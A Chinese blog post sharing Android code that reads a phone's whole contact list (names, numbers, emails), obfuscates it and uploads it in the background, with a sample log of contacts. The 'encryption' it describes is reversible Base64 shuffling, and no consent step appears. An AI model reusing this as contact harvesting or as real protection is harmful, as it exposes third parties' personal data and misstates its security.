Android获取通讯录并上传(包含通讯录加密)

好久没更新文章了，近期在做通讯录上传，把它分享出来，送给需要的朋友。

写了一个通讯录工具类，直接放代码吧，关键位置通过注释来解释。

 

这个工具类包含通讯录获取，加密，然后上传操作。看不懂的可以留言

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import android.database.Cursor; import android.os.AsyncTask; import android.provider.ContactsContract; import android.util.Base64;   import com.demo.alfar.app.AlfarApplication; import com.demo.alfar.data.ActionDataManager; import com.demo.alfar.data.common.BaseThrowable; import com.demo.alfar.data.model.ConfigurationInfo; import com.demo.alfar.data.model.EmptyData; import com.demo.alfar.service.action.DeviceActionMvpView; import com.demo.alfar.service.action.DeviceActionPresenter; import com.demo.common.utils.LogUtil; import com.demo.common.utils.SpFileUtil; import com.demo.common.utils.StringUtils;   import java.io.UnsupportedEncodingException; import java.util.List;   public class ContactReader {       //通过下面字符进行分割，组成字符串     static String fieldSplit = "\u0001";     static String lineSplit = "\u0002";       static String newStr;       public static class ContactReaderReporter extends AsyncTask<String, Void, Integer> {         @Override         protected Integer doInBackground(String... argus) {             String contactInfo = "";               Cursor cursor = null;             try {                 cursor = AlfarApplication.getApplication().getContentResolver()                         .query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);                 int contactIdIndex = 0;                 int nameIndex = 0;                   if (cursor.getCount() > 0) {                     contactIdIndex = cursor.getColumnIndex(ContactsContract.Contacts._ID);                     nameIndex = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);                 }                 while (cursor.moveToNext()) {                     String element = "";                     String contactId = cursor.getString(contactIdIndex);                     String name = cursor.getString(nameIndex);                     element = name + fieldSplit;                     Cursor phones = null;                     try {                         /*                          * 查找该联系人的phone信息                          */                         phones = AlfarApplication.getApplication().getContentResolver()                                 .query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,                                         ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + contactId, null, null);                         int phoneIndex = 0;                         if (phones.getCount() > 0) {                             phoneIndex = phones.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER);                         }                         while (phones.moveToNext()) {                             String phoneNumber = phones.getString(phoneIndex);                             element += phoneNumber + lineSplit;                         }                     } catch (Exception e) {                     } finally {                         if (phones != null) {                             phones.close();                         }                     }                     Cursor emails = null;                     try {                         /*                          * 查找该联系人的email信息                          */                         emails = AlfarApplication.getApplication().getContentResolver()                                 .query(ContactsContract.CommonDataKinds.Email.CONTENT_URI, null,                                         ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=" + contactId, null, null);                         int emailIndex = 0;                         if (emails.getCount() > 0) {                             emailIndex = emails.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA);                         }                         while (emails.moveToNext()) {                             String email = emails.getString(emailIndex);                             element += email + fieldSplit;                         }                     } catch (Exception e) {                         // TODO: handle exception                     } finally {                         if (emails != null) {                             emails.close();                         }                     }                     element += lineSplit;                     contactInfo += element;                   }                 if (StringUtils.isNotEmpty(contactInfo)) {                     LogUtil.Y("prePhoneNum:" + contactInfo);                     newStr = encodeStr(contactInfo);                     LogUtil.Y("finalPhoneNum:" + newStr);                     //这个是mvp模块中的网络请求部分，可忽略一下逻辑，也可进行替换                     DeviceActionPresenter actionDataManager = new DeviceActionPresenter(new ActionDataManager());                     actionDataManager.attachView(new DeviceActionMvpView() {                         @Override                         public void onDeviceActionSuccess(EmptyData response) {                             SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, true);                         }                           @Override                         public void onDeviceActionFail(BaseThrowable response) {                             SpFileUtil.saveBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false);                         }                           @Override                         public void onGetConfigurationsSuccess(List<ConfigurationInfo> response) {                           }                           @Override                         public void showLoading() {                           }                           @Override                         public void hideLoading() {                           }                     });                     actionDataManager.postClientContent(newStr);                 }             } catch (Exception e) {                 e.printStackTrace();             } finally {                 try {                     if (cursor != null) {                         cursor.close();                         cursor = null;                     }                 } catch (Exception e) {                     e.printStackTrace();                 }             }             return null;           }         }       /**      * 执行上传操作      */     static public void onContactURLReport() {         Boolean isSuccess = SpFileUtil.getBoolean(AlfarApplication.getApplication(), SpFileUtil.FILE_PARAMS_DATA, SpFileUtil.KEY_POST_CONTENT_SUCCEED, false);         if (!isSuccess) {             try {                 ContactReaderReporter task = new ContactReaderReporter();                 task.execute();             } catch (Exception e) {                 e.printStackTrace();             }         }     }       /**      * 加密字符串,这是一个简单的算法，先base64加密之后，进行字符反转，服务端解密时候同样先进行字符反转，换成=号即可，然后再decode即可      *      * @param info      * @return      */     public static String encodeStr(String info) {           String baseStr = null;         try {             baseStr = Base64.encodeToString(info.getBytes("UTF-8"), Base64.NO_PADDING | Base64.NO_WRAP);         } catch (Exception e) {             e.printStackTrace();         }         String newStr = "";         int half = baseStr.length() / 2;         for (int i = 0; i < half; ++i) {             if (i % 2 != 0) {                 newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i));             } else {                 newStr = newStr + (char) (baseStr.codePointAt(i));             }         }         if (baseStr.length() % 2 == 1) {             newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() / 2));         }         for (int i = half - 1; i >= 0; --i) {             if (i % 2 != 0) {                 newStr = newStr + (char) (baseStr.codePointAt(i));             } else {                 newStr = newStr + (char) (baseStr.codePointAt(baseStr.length() - 1 - i));             }         }         return newStr;       } }

　　使用方法就是：

ContactReader.onContactURLReport();//上报通讯录信息即可
上面解密后的数据日志为(声明：通讯录数据都是假数据，如有雷同，纯属巧合，可联系我删除)：

原数据是上面这样，中间是有点的，下面这个被编辑器去掉了

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12-21 18:42:51.018 com.demo.alfar I/===y: prePhoneNum:马云 18516886666骚扰电话 15321114592广告推销 17343150842李彦宏电话 15301102735咋骗电话 18101055214马化腾 18666666666李科云 18555555555 12-21 18:42:51.019 com.demo.alfar I/===y: finalPhoneNum:6gm15Tq1ATE1NTE4OTgRNLYRA6LOqprCigD2ljX2rj02MDUxMgEFMuQMOOIpAuWCvTWyiTawqDmxgTEBN5MoMLEnMpgpMoIl5g215z2y5T6x5zS16T+dAKE1M5APMaAmNbMOApLCkgv0qDf1lzX0rz0xMAgUMOEONuURM+Q5AumCrTW1lTixvjEzOTYBN5YoNLYnNbIm5p2p5ge25jq2ADE2NTU4NTURNLUsAaI

　获取通讯录需要权限，记着提前申请：

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1	Manifest.permission.READ_CONTACTS

　　

 

----------附上base64位加密后面附带的参数解释----

CRLF 这个参数看起来比较眼熟，它就是Win风格的换行符，意思就是使用CR LF这一对作为一行的结尾而不是Unix风格的LF

DEFAULT 这个参数是默认，使用默认的方法来加密

NO_PADDING 这个参数是略去加密字符串最后的”=”

NO_WRAP 这个参数意思是略去所有的换行符（设置后CRLF就没用了）

URL_SAFE 这个参数意思是加密时不使用对URL和文件名有特殊意义的字符来作为加密字符，具体就是以-和_取代+和/

 

 

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